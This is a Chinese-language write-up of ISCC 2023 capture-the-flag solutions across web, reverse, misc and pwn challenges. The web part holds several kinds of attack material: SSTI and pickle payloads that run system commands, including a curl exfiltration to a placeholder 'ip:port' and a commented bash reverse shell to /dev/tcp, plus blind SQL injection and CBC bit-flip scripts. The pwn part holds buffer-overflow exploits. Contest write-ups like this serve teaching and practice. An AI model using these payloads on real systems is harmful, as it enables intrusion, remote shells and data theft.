ISCC2023 wp

ISCC练武

WEB

羊了个羊

F12后vue.global.js源代码

找到密文

然后两次base64解码

得到flag

小周的密码锁

首先使用brup暴力,遍历password,password2

发现当password=5的时候出现源代码

然后绕过if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6))

$a = 0;
while (1)
{
  if (substr(sha1($a), -6, 6) === 'a05c53')
  {
     echo $a;
     break;
  }
  $a++;
}
while (1)
{   
 $permitted_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  $b=substr(str_shuffle($permitted_chars), 0, 6);
  $c=$a^$b;
  $permitted_chars = 'abcdefghijklmnopqrstuvwxyz';
  $a=substr(str_shuffle($permitted_chars), 0, 6);
  if (substr(sha1($c), -6, 6) === 'a05c53') {
     echo $b."-----------------".$a;
     break;
  }
}

然后绕过第二if,通过改变字符串改变的个数在对比hash值即可得到flag

老狼老狼几点了

输入F12看源码

image-20230531014119584

然后使用fastcoll来绕过if (substr($p1, 0, 10) === strval(time()))

if ($p1 !== $p2 && md5($p1) === md5($p2)),

然后使用php伪协议来读取flag.php

import requests
import os
import time
import urllib.parse

def secret(time):
    nowtime = str(time)
    print(nowtime)
    file=open('et.txt','w')
    file.write(nowtime)
    file.close()

def get_read():
    list=[]
    file1=open('a_msg1.txt','rb')
    file2 = open('a_msg2.txt', 'rb')
    f1=file1.read()
    f2=file2.read()
    list.append(f1)
    list.append(f2)
    file2.close()
    file1.close()
    os.remove('a_msg1.txt')
    os.remove('a_msg2.txt')
    return list

if __name__ =='__main__':
    url="http://47.94.14.162:10007/guess_time.php"
    yvtime=int(time.time()+10.0)
    secret(yvtime)
    l1=get_read()
    data={'param1':l1[0],'param2':l1[1],'_SESSION[abase64base64]':'asd";s:7:"base213";s:8:"function";s:4:"hack";s:4:"file";s:60:"php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php";}'}
    while(1):
        if (yvtime-2)== int((time.time())):
            res=requests.post(url,data=data)
            file1=open('c.txt','w')
            file1.write(res.text)
            print(res.text)
            file1.close()
            Break

ISCC{dnlj1AZJpOoBQUAkxGEfzpquPkBu2H5F}

ChatGGG

就是ssti,过滤. class 等关键字,单引号’,{{

使用[]绕过.

使用hex编码绕过 class 等关键字

使用{%print()%}绕过 {{

Payload:

{%print(""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[140]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]"popen"["read"]())%}

输入flag得到flag

img

ISCC{2yBbV5VBDQEFFjEWSwE5fmjFhaIakirG}

Where_is_your_love

查看源代码发现3个文件
LoveStory.php中反序列化exp脚本
Pop链子
class boy::destruct()
↓↓↓
class girl::
call()
↓↓↓
class helper::isset()
↓↓↓
class boy::
toString()
↓↓↓
class helper::__get()
↓↓↓
class love_story::love()

<?php
class boy {
    public $like;
    public function __construct($a)
    {
        $this->like=$a;
    }
}

class girl {
    private $boyname;
    public function __construct($a)
    {
        $this->boyname=$a;
    }
}

class helper {
    private $name;
    private $string;
    public function __construct($string,$a) {
        $this->string = $string;
        $this->name=$a;
    }
}
class love_story {
    public $fall_in_love = array(0=>"girl_and_boy");
}
$gir1 = new girl('a');
$hel1 = new helper('a','a');
$lov1 = new love_story();
$boy1 = new boy('a');
$hp1=new helper(array('string' => [new love_story(),"love"]),'0');
$bo1=new boy($hp1);
$hp2=new helper('a',$bo1);
$gi1=new girl($hp2);
$bo2=new boy($gi1);
$final=serialize($bo2);
echo urlencode($final); 

得到一串密钥然后下载公钥和密文

获取n,然后分解质数

然后生成私钥

然后使用openssl rsautl -decrypt -in 1.enc -inkey private.pem -out 1.txt解码得到加密的源码

解密脚本
str1= ''
list1=[]
i=0
result=''
s= str
for str1 in range(0, len(s)):
    if i+2>len(s):
        break
    list1.append(s[i:i + 2])
    i=i+2
for i in list1:
    i=int(i,base=16)
    i=i^100
    i=i-10
    i=chr(i)
    result=result+i
list1=reversed(result)
print("".join(list1))

然后rot13解密得到flag

上大号说话

.git泄露了源代码,密钥是32位的,源代码中加了28位,所以key是4位

可爆破代码,得到5MbG,然后进行python pickle反序列化,满足题目要求,发现返回一个txt本名字,然后在外带出来得到flag

from cryptography.fernet import Fernet
import base64
class ED:
    def crypto(self, base_str):
        self.file_key = '5MbG'  # 1Aa  5MbG
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
        return self.cipher_suite.encrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    def decrypto(self, base_str):

        list1=[]
        s = ''
        for i in range(48, 123):
            for o in range(48, 123):
                for w in range(48, 123):
                    for a in range(48, 123):
                        s = s + chr(i) + chr(o) + chr(w) + chr(a)
                        list1.append(s)
                        s = ''
        for i in list1:
            self.file_key = i  # 1Aa
            try:
                self.cipher_suite = Fernet(self.generate_key(self.file_key))
                f=self.cipher_suite.decrypt(base_str)
                print(i," ",f)
                break
            except:
                print(i)

if __name__ == '__main__':
    a=b'gAAAAABkVkZZi6AjDCN_9Lo-fztjvS6OmTduXr01KgyEclBoLFIbGtSpbgjkZbOjEKqp4wAY6_LaSs3QPBh2ozi-ykgjoqvX1l8k92_93OY_TNCmrmMYCP2Y_u76jhA-DpsU_HcFyUOAYSfKF7wQTJYa5MVGjA73SgfA7lfX5DElTwO581BSf3o='
    ed = ED()
print(ed.decrypto(a))

然后进行加密

from cryptography.fernet import Fernet
import base64
class ED:
    def crypto(self, base_str):
        self.file_key = '5MbG'  # 1Aa  5MbG
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
        return self.cipher_suite.encrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    def decrypto(self, base_str):

        list1=[]
        s1 = ''
        for i in range(48, 123):
            for c in range(48, 123):
                for v in range(48, 123):
                    for a in range(48, 123):
                        s = s + chr(i) + chr(c) + chr(v) + chr(a)
                        list1.append(s1)
                        s = ''
        for i in list1:
            self.file_key = i  
            try:
                self.cipher_suite = Fernet(self.generate_key(self.file_key))
                f=self.cipher_suite.decrypt(base_str)
                print(i," ",f)
                break
            except:
                print(i)

if __name__ == '__main__':
    a=b'\x80\x03c__main__\nMember\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:port/`cat flagucjbgaxqef.txt|base64`\nb0c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
'
    ed = ED()
    print(ed.crypto(a))

然后解base64得到flag

ISCC单身节抽奖

登录页面源代码有提示一个php文件

F12抽奖页面,发现有token,把token base64解密

把et3改为blasterr,这里存在php反序列化字符逃逸漏洞,利用漏洞将sdog改为1

所以注册登录账户qwqwqw";s:4:"sdog";i:1;},密码为1。然后登录然后下载凭证

然后通过e来绕过,将check_time改为0.432000e,将file改为apidemo.php,下载apidemo.php源码

然后xxe使用file访问/flag

滥用职权

首先就是需要注册一个新号,然后利用cbc翻转攻击登录,需要bp抓包改大写字母

然后但是需要CBC反转来绕过认证,脚本如下

import base64
import requests
import urllib.parse
iv_raw='Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='YKdGRbYAyVv8G6sI5nTWyTfXFQHzVvdf4DjoLGO3DwKdXf%2FSjYwFrl4xX9DhpyRb82wrxFam4nYvKjtClYr58eiz%2BBW19RHESbDTz8fA2Y6Ffez4YxW788%2BeDRi6OyZ%2B' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
\#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
\#a:3:{s:8:"deppar
\#tm";s:7:"orgnize
\#";s:8:"username"
\#;s:3:"123";s:8:"
\#password";s:3:"1
\#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
\#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
\#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)

反转之后还需要重新算一下偏移
脚本如下

<?php
  \#计算iv
  $res = base64_decode('txkvKlgRty+WzPGCJ8aK4XRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=');  

  $iv = base64_decode(urldecode('Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D')); 里放cookie中的iv
  $plaintext = 'a:3:{s:8:"deppar';
  $new_iv = '';
  for ($i = 0; $i < 16; $i ++){
    $new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); IV
  }
  echo urlencode(base64_encode($new_iv));
?>

这样就可以使用自己注册的号进入策划部
成功伪造身份

查看提示以为是xss+csrf来让bot点击购买flag,但是一直行不通,后来发现存在类似条件竞争
随手一登陆,发现有个admin账户,利用上面的cbc绕过,然后两个号同时给彼此任免,可以提高level,而flag好像是需要100000可以购买,猜测level就是这个钱
然后利用bp抓包进行条件竞争,攒够100000之后购买flag得到flag

ISCC内部零元购

import base64
import requests
#eval commands subprocess exec global popen system os
# timeit.timeit("__import__('os').system('curl 
`ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/*.*.*.*/8888 
0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u0
05f\u0028\u0027\u0(__import__('os').system('bash -c "bash -i >& 
/dev/tcp/*.*.*.*/8888 0<&1 2>&1"')unicode 编码)
timeit
timeit
R.'''
payload=base64.b64encode(opcode1).decode()
url = "http://47.94.14.162:10009/"
header = {"Cookie":"session="+payload+"; 
Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny
4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.BIrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9
NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-
RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}
r = requests.get(url,headers=header)
print(r.text)

ISCC疯狂购物节

进入 登录注册

注册之后获取csrftoken 和 sessionid,使用以下exp

import requests
import string
from time import sleep

# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}

# 绕过are you kidding me
cookies ={
    'csrftoken': "up2e2gJOFqgNVlJcEmH3QIkm5G0o4P8zjFfrzR9DqGskO9kbqpUOZggI24FQoqfT",
    'sessionid': "hhfenh20s5j70vh5lm380ux1znib8tcb",
}

headers = {
    'Acept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Cache-Control':  'max-age=0',
    'Connection': 'keep-alive',
    #cookie":
    'Upgrade-Insecure-Requests' : '1',
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35',
}

def str_to_hex(string):
    result = ''
    for i in string:
        result+=hex(ord(i))[2:]
    return result

# 找到flag所在字段
def find_flag_col():
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"

    with open(r'flag.txt','r') as f:
        print(f)
        for flag in f:
            payload = url.format(flag.strip('\n'))
            print(payload)
            r = requests.get(url=payload,cookies=cookies,headers=headers)
            # print(r.text)
            sleep(1)

            if r.status_code != 500:
                print(r.text)
                print("Found:[+]:{}".format(flag))
#已经找到字段为fl4g

# 正则过滤了,只能0x+四个字符
url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"

alphabet="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"

result= '{'

for i in range(1,100):

    for ch in alphabet:
        payload = url.format(str_to_hex(result[-1]),str_to_hex(ch))
        # payload = url.format(str_to_hex(ch))
        print(payload)

        r = requests.get(url=payload,cookies=cookies,headers=headers)
        # print(r.text)
        sleep(1)

        if "too fast" in r.text:
            print("too fast")
            sleep(2)
            r = requests.get(url=payload,cookies=cookies,headers=headers)

        if "576O576K576K" in r.text:
            print(payload)
            result += ch
            print("注入成功:[+]", result)
            break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了

        # 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)

REVERSE

JustDoIt

image-20230530225048743

用ida打开文件进行分析

发现v5是输入的字符串

然后调用sub_487C91()函数对字符串进行加密,然后在for循环中对加密之后的字符串与v8进行比较,所以v8就是flag的密文

然后看一下加密函数

image-20230530225939377

发现这里都是比较简单的运算,就从后往前直接倒着写一遍

exp:

#include<bits/stdc++.h>
using namespace std;
int main(){
    char a1[16];
    a1[0] = 23;
    a1[1] = 68;
    a1[2] = 68;
    a1[3] = 15;
    a1[4] = 94;
    a1[5] = 10;
    a1[6] = 8;
    a1[7] = 10;
    a1[8] = 6;
    a1[9] = 95;
    a1[10] = 8;
    a1[11] = 24;
    a1[12] = 87;
    a1[13] = 3;
    a1[14] = 26;
    a1[15] = 'i'; 
    char a2[] = {73,83,67,67};
    int a3 = 16;
    for(int i = 1; i < a3; i++){
        a1[i] ^= *a2;
        a1[i] -= a2[i%4] % 5;
        a1[i] = a1[i] + a2[2]%6 + a2[3]/6;
        a1[i] -= a2[1]/7 + *a2%7;
    }
    for(int i = 1; i < a3; i++){
        a1[i] -= i;
        a1[i] += 60;
        cout << a1[i];
    }
} 

因为这里没有写交换的,所以得到的flag有一点点问题,但是不影响观看

flag : ISCC{Just~Do~It}

奇门遁甲

image-20230530230855281

这里发现一个do while循环,然后在循环内部有好多函数,跟进查看,发现就是输出这些字符串

image-20230530230943601

观察这些字符串,怀疑这些碎片就是flag

然后观察这个循环输出的顺序

image-20230530231056326

这里发现是根据v3来输入信息的然后分析v3的顺序即可得到flag

经过分析输入为31284567的时候为正确顺序,这里可以直接进入函数进行提取,也可以运行程序对flag进行提取

flag:ISCC{AKlFQ%iHCC6lik4igYVr#ue0}

变形记

image-20230530231341084

这里找mian函数进行反汇编,然后得到密文

然后经过动态调试发现密文是先将输入的字符串也就是flag进行压缩,吧相同的字符给换成数字作为后缀,也就是说aaa经过压缩之后变成a2

然后对字符串进行base64加密,最后将加密结果进行字符串的逆置得到最终的密文

所以解密就是先将密文逆置,然后解base64,最后将字符串扩展

image-20230530231700877

最终得到flag为:ISCC{cyyysUsCQsssBsaVayUV}

Convert

image-20230530231910347

分析函数,发这里v8和v9其实是一个数组,然后v5作为输入经过函数加密,最后在for循环内与v8数组进行比较,所以v8为密文

然后看一下加密函数

image-20230530232012404

也是很简单的逻辑,这里直接逆运算即可

exp:

#include <bits/stdc++.h>
using namespace std;
int main(){
     int v6 = 23,j=0;
    char v10[23] = {40, 48, 36, 36, 98, 26, 23, 28, 48, 64, 65, 55, 126, 57, 54, 64, 41, 57, 84, 72, 49, 67, 115};
    char a2[] = "ISCC";
    for (j = 0; j < 4; ++j)
    {

        v10[j + 16] -= a2[j] / 5;
        v10[j + 12] -= v10[j + 4];
        v10[j + 8] -= 2 * j;
        v10[j + 4] -= a2[j] % 5;
        v10[j] -= j ^ -(a2[j] % 4);
    }
    for (int i = 0; i < v6; i++)
    {
        v10[i] -= i;
        v10[i] += 32;
        cout << char(v10[i]);
    }
    return 0; 
}

运行得到flag:ISCC{2/3HUSF0215+8UH=N}

Pull the Wool Over People’s Eyes

image-20230530234114647

分析程序,发现这里是先调用函数生成一个字符串,然后调用do while循环,将生成的字符串与输入的flag进行异或

生成的字符串可以通过动态调试得到

字符串为:ISCC{ACYeeeloorrsuv}

image-20230530234239118

这里的找到二进制密文,将其8为一组转为十进制与字符串进行异或即可得到flag

exp:

import libnum
key = b'ISCC{ACYeeeloorrsuv}'
flag = '0000000000000000000000000000000000000000000001010011101101101101001111110001010000100111010111110010110001011010001010100011110100101010000110100010000000000000'
f = []
for i in range(0,len(flag),8):
    t = ""
    for j in range(8):
        t += flag[i+j]
    f.append(int(t,2))
for i in range(len(f)):
    print(chr(key[i]^f[i]),end="")

运行得到flag:ISCC{Dx4ZqB3C5XOYoV}

Congratulations

image-20230530235029110

这里同样是v5为输入,然后调用两个函数进行加密,然后与v9进行比较,所以v9为密文

image-20230530235120881

第一个加密函数为位移操作,相当于ceasar

image-20230530235157325

第二个就是比较常规的运算,直接倒着写一遍就行

exp:

#include <bits/stdc++.h>
using namespace std;
int main() {
    char a[26];
    a[0] = -91;
    a[1] = 67;
    a[2] = 83;
    a[3] = -108;
    a[4] = 84;
    a[5] = 73;
    a[6] = -83;
    a[7] = -69;
    a[8] = 72;
    a[9] = 119;
    a[10] = 88;
    a[11] = -24;
    a[12] = 81;
    a[13] = 95;
    a[14] = -94;
    a[15] = 70;
    a[16] = 72;
    a[17] = -106;
    a[18] = 118;
    a[19] = 114;
    a[20] = -127;
    a[21] = -70;
    a[22] = -84;
    a[23] = 9;
    a[24] = -9;
    a[25] = '_';
    char a2[] = "ISCC";
    int a3 = 26;
    for(int i=a3-2; i >=0; i--) {
        *(a + i) ^= *(a2 + 1);
    }
    for(int j=a3-2; j >= 0; j--) {
        *(j + a) += *(j + a + 1);
    }
    for(int i=0; i < 26; i++) {
        a[i] += 30;
    }
    for(int i=0; i < 26; i++) {
        cout << a[i];
    }
}

运行得到位移前的flag:HRBB{tZ\tY5*omap[@{V5cz{!}

image-20230530235609367

得到flag

CrackMePlease

image-20230530235735401

分析函数,发现对输入的flag基本上没有操作,然后这里主要就是生成一个字符串与flag进行比较,所以直接动态调试拿flag

image-20230530235903889

image-20230530235911688

得到flag:ISCC{C\);}%\j}

《狂飙》-1

image-20230601110740106

打开synthesis

发现如果运行不会出现任何结果,需要将传入var8的796B159ACD626B88修改

为其他值才可以添加配方

查看recipe文件,可以得到每个配方的哈希值

image-20230601110814452

分析可得加入的材料是4-chloroisatin,得到的产物是Ammosamide B,传入的

var8应该为0x50d7c32f4a659。

接下来直接输出fl ag即可

mod = 48

a1 = 0x50d7c32f4a659
a2 ="4-chloroisatin"
a3 ="Ammosamide B"
mod_out = (int((a1 % 100000) % mod)) ^ (mod * (int)(a1 % 100000))
flag = "ISCC{" + str(mod_out) + "_" + a2 + "_" + str(a1) + "_" +a3 + "}"
print(flag)

《狂飙》-2

这个题使用了上一题的处理过程0x50d7c32f4a659作为密钥对密文进行aes解

密,解密出的数据可以分离出一个压缩包

压缩包有密码,使用0x50d7c32f4a659的十进制可以解压

解压后又得到一个elf程序

这个是一个使用mov进行混淆的程序,动静态结合分析后发现,里面大致执行了三

种运算,加16,异或2和减44,同时还有一串明文ISCC{tHe_5eY@

找到对应密文后,写个脚本解密即可得到fl ag

a = [0x19, 0x17, 0x08, 0x0C, 0x0D, 0x2B, 0x16, 0x0D, 0x18,
0x33,
 0x0A, 0x05, 0x3B, 0x08, 0x14, 0x4A, 0x07, 0x28, 0x5F,
0x40,
 0x36, 0x08, 0x50, 0x37, 0x50, 0x2A, 0x2F, 0x0C, 0x2B,
0x52,
 0x24, 0x63]
print("ISCC{tHe_5eY@",end="")
for i in a:
    i -= 16
    i^=2
    i+=44
    print(chr(i),end="")

MISC

好看的维吾尔族小姐姐

下载附件发现是压缩包,解压得到文件古力娜扎,修改文件后缀为png得到一张图片,看起来是半张的,把图片用十六进制工具打开,修改高度

image-20230530210003354

得到

image-20230530210128639

然后datamatrix扫码得到

;521#&;33#&;101#&;011#&;111#&;001#&;801#&;801#&;101#&;911#&;59#&;611#&;501#&;59#&;611#&;111#&;301#&;59#&;711#&;111#&;121#&;321#&;76#&;76#&;38#&;37#&

发现为逆置的unicode编码,转换后解码

image-20230530211323465

消息传递

用Wireshark打开流量包,在tcp流为30的时候找到一个邮件

image-20230531000305535

得到:

username:iscc_test1@126.com

Password:WRWAALIUWOHZAPQW

image-20230531000403199

在邮件下面得到一个压缩包,将其提取出解base64

image-20230531000519114

得到rar,解压发现需要密码

然后继续分析流量包,在第36条流量中找到

image-20230531000646219

USER iscc_test2@126.com

PASS FTQIPMVJFOKHHZUZ

image-20230531000935959

在第56条流量中找到图片,将其提取出来

image-20230531001020904

将图片用foremost分离得到提示

image-20230531001129015

得到压缩包密码:WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ

解压之后发现全部为黑白照片

image-20230531001232412

然后图片数量刚好可以被8整除,所以猜测是二进制写脚本提取

exp:

import cv2
import libnum
t = ""
for i in range(1,113):
    a = cv2.imread(str(i)+".png")
    a = list(a)
    if(str(a[0][0])=="[255 255 255]"):
        t+="0"
    else:
        t+="1"
print(libnum.n2s(int(t,2)))

运行得到flag

汤姆历险记

这个题当时写的时候非预期了,直接用的消息传递这题最后一步得到的flag然后与字典替换得到正确的flag

在消息传递中最后一步得到的flag为:ISCC{i2s0c2c3}

然后用所给定的字典来替换大括号的内容得到flag:ISCC{fvprcvca}

人生之路

解压得到压缩包和图片,压缩包密码为图片的名字:人生之路.jpeg

将压缩包解压得到:

xTuCmTuCxT uTmCxTmCuT uTmTxT uTmTxT uCmCuCxCmCxC xTuCmT xTuCmT muCmCqCxCquCmxCmC mxCqxCmuCmC xTuTmTuCxT uTmTxTqCuC mTqCxTqCmT uTqTxTmTmxC mTqTxTmTuT mTqTxTmCuT xTuTmCxTuTmCxT muCmCqCxCquCmxCmC uTmCxTmCuT muCmCqCxCquCmxCmC mTxTqT xCmCxCuCmCuC 

根据提示位移,将其进行ceaser解密,得到:

dZaIsZaIdZ aZsIdZsIaZ aZsZdZ aZsZdZ aIsIaIdIsIdI dZaIsZ dZaIsZ saIsIwIdIwaIsdIsI sdIwdIsaIsI dZaZsZaIdZ aZsZdZwIaI sZwIdZwIsZ aZwZdZsZsdI sZwZdZsZaZ sZwZdZsIaZ dZaZsIdZaZsIdZ saIsIwIdIwaIsdIsI aZsIdZsIaZ saIsIwIdIwaIsdIsI sZdZwZ dIsIdIaIsIaI 

然后wsad为方向,然后Z和I控制移动的距离在纸上作画得到flag:ISCC{TTAYFGHQDPEASAU}

mystery of bits

image-20230531002251690

解压得到png,发现高度被修改,然后将高度改为0x438

image-20230531002400109

然后用stegsolve分析图片

image-20230531002516383

发现隐藏信息

横着看得到压缩包密码:ysafao245hfdisi

解压得到一个wav文件,在文件尾部发现隐藏信息

image-20230531002649919

然后用stegpy工具跑一下

image-20230531003157337

然后将字符串转为二维码,扫码得到flag

image-20230531003317441

ISCC{congratulation_and_it_is_real}

通信方式

解压缩包,得到wav音频,然后经过分析发现其左右声道有些区别,然后写脚本计算其差值,发现差值为1和2,猜测为01字符串转二维码,写脚本将其转换一下

exp:

import scipy.io.wavfile as wavfile
from PIL import Image
from zlib import *
samplerate, data = wavfile.read('telegram2wechat.wav')
left_data = []
right_data = []
for item in data:
    left_data.append(item[0])
    right_data.append(item[1])
sub = [l - r for l, r in zip(left_data, right_data)]
tmp = ""
for i in sub:
    if(i == 1):
        tmp += '0'
    elif(i == 2):
        tmp += '1'
with open('erweima.txt','w') as f:
    f.write(tmp)

得到二进制数据:

0000000100001000111111100110001111000011010000000011111011100111110110101001000100101110001011111001000101010110100000110001110011001011100101000100100010110001110001100101010001011000110110100010010001010100110111010000000100111101001111010001001111101110111111110100111011111011000011101111100000000101010101010101010101010101010101010000000111111111101101100111001110110001001110101111111110110101111000001110010000010011110111011011010101011001101101110000010011110000011001100100010110010100010001000111010010110101111010111010110101110101111111000100011001010001111000100001101010011010000111001111001111000000000111100100100011110100001101011101001100101110001000010100111010010010110000101110011011101100101110100101000001010001101011011011010011111100010000000000100010011101010011001100111000010111010111011100110001000000001101110001001011111010010000001110101101001001011100100001010100100010111010001000010001010111010011111100001111100001100001100001111101110101111101010101000000100101000111100101011011110101001001111101010001111110001101100101010110110011001101101100000100001001110100000001000000000000000100011000111011010111001010111001111111111100111010110101010101011010010101010100001000101111010100001111001110000001100111101110000100011101001110000001110000011010011110100000010101000001110000010100011011011101010000100001010000111101010101010000010011000001100110110000010111110101010101010111111101010101010111110100011001110000110100011011110101010000100010100101000101001101000011010101001000010101000101000000111110110011110101110101100001010101100101011010101111100001010000110001000111110101110111101111111001010111000011000101010111010101010001101010001101100110010101110101100000100111110000010100001101000101011111011100111111000111000000010101101011001011011101000001110100011011000100010010111100010101010100000001010110001110111000010001001000110101000001010010010101110011000111010100100101101111011001010111010010001011000111010111000101101000000101110000110000000110011111111101001010110100111001011011001100111001110000000111110101001110010101101110010111010100001011111011100101110010001110100111010010001110000001000101001101001111010000011101010011010000010000100010111001000000001001100101011000010111010011010001011101010111010011010011110000001110001011101111101011110000100100011001010101100000110110010000000110011100100111011110010011110111001011000

转为二维码:

image-20230531003856140

扫码得到:

5337 5337 2448 2448 0001 2448 0001 2161 1721 1869 0759 7741 2583 4430 0001 3945 0260 6671 0008 3296 5337 2606 3320 0001 5337 2606 2496 5337 0676 0037 5337 0260 5337 2606 2161 1721

将其进行中文莫斯电码解码得到:

image-20230531004036896

然后根据读音谐音得到flag:ISCC{ZNFLUIYPWWCZCTF}

你相信AI吗?

直接读取txt文件内容,转成像素填入,得到手写数字的结果

import numpy as np
from PIL import Image

# 图像宽度和高度
width, height = 28, 0

# 依次读取每个文件,将其转换为图像并保存
for i in range(32):
    # 读取浮点数数据
    with open(f'{i}.txt', 'r') as f:
        data = f.read()
    data = np.fromstring(data, sep='\n')

    # 计算图像高度
    height = len(data) // width

    # 将浮点数转换为 8 位无符号整数
    data = np.clip(data, 0, 255)
    data = data.astype(np.uint8)

    # 创建图像并保存
    img = Image.fromarray(data.reshape((height, width)))
    img.save(f'png/{i}.png')

image-20230531004534107

然后就是提取数字进行爆破

import itertools
import contextlib
import string
ciphertext = ['51', '59', '75', '95', '56', '46', '669', '74', '22', '92', '28', '72', '77', '682', '47', '02', '77', '633', '92', '43', '56', '633', '688', '59', '22', '633', '685', '57', '683', '56', '96', '96']

def has_visible_bytes(input_bytes):
    return all(chr(byte) in string.printable for byte in input_bytes)

with open("out.txt", "wb") as output_file:
    for permutation in itertools.permutations("0123456789", 10):
        translation_table = str.maketrans("0123456789", ''.join(permutation))
        translated_text = [string.translate(translation_table) for string in ciphertext]

        with contextlib.suppress(Exception):
            plaintext = bytes([int(character) for character in translated_text])
            output_file.write(plaintext + b"\n")

运行得到flag

菜鸟黑客-1

image-20230531175321546

查看主机密码

image-20230531175505040

然后在桌面上发现flag.txt

但是直接提取不出来,这里换一个工具使用R-studio

image-20230531175700909

成功提取出flag.txt

得到DES加密的密文:DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}

然后解des,key为ISCC2023

解密得到flag

菜鸟黑客-2

image-20230531175834006

在桌面上发现两个图片

将其提取出来

对那个emoji.jpg进行分离得到一个压缩包

解压发现需要密码,试了一下ISCC2023发现正确,得到一个维吉尼亚密码

image-20230531175924691

使用命令:python2 vol.py -f 1.raw –profile=Win7SP1x64 editbox

得到提示

image-20230531180000756

网站搜索的是emoji莫斯密码

所以猜测emoji的眼睛是莫斯密码

image-20230531180027133

得到:./–/—/.—/../../…/..-./..-/-.

解密:emojiisfun

然后解维吉尼亚密码:得到flag

image-20230531180104845

PWN

三个愿望

Checksec

image-20230601194941775

拖进ida

image-20230601195002100

Secondwish函数:

image-20230601195015912

image-20230601195020637

Canary偏移位11。

thirdwish函数:

image-20230601195038776

Exp:

from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')r=remote("59.110.164.72",10023)
libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(2)
p=flat(b'a'*(0xe),2)
r.sendlineafter("Now you can make your first wish\n",p)
n=str(libc.rand() % 9 + 1)
r.sendlineafter("Please give me a number!\n",n)
p1=b"%11$p"
r.sendlineafter("Now you can make your second wish!\n",p1)
canary=int(r.recv(18),16)
print('canary='+str(hex(canary)))
r.sendlineafter("Please give me a number!\n",n)
p2=flat(b'a'*(0x28),canary,b'a'*(0x8),0x4011f5)
r.sendlineafter("Now you can make your final wish!\n",p2)
# r.sendline("cat flag.txt")
r.interactive()

Login

Checksec

image-20230601195113449

拖进ida:

img

img

此题没给后门函数,所以第一次payload构造要先泄露puts函数真实地址,然后计算libc基地址,再计算system与/bin/sh,最后再返回该函数,再构造payload拿到shell。

Exp;

from pwn import *
r=process('./Login')
elf=ELF('./Login')
libc=ELF('./libc-2.23.so')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400796
context(arch='amd64',os='linux',log_level='debug')
poprdi=0x4008c3
ret=0x400599
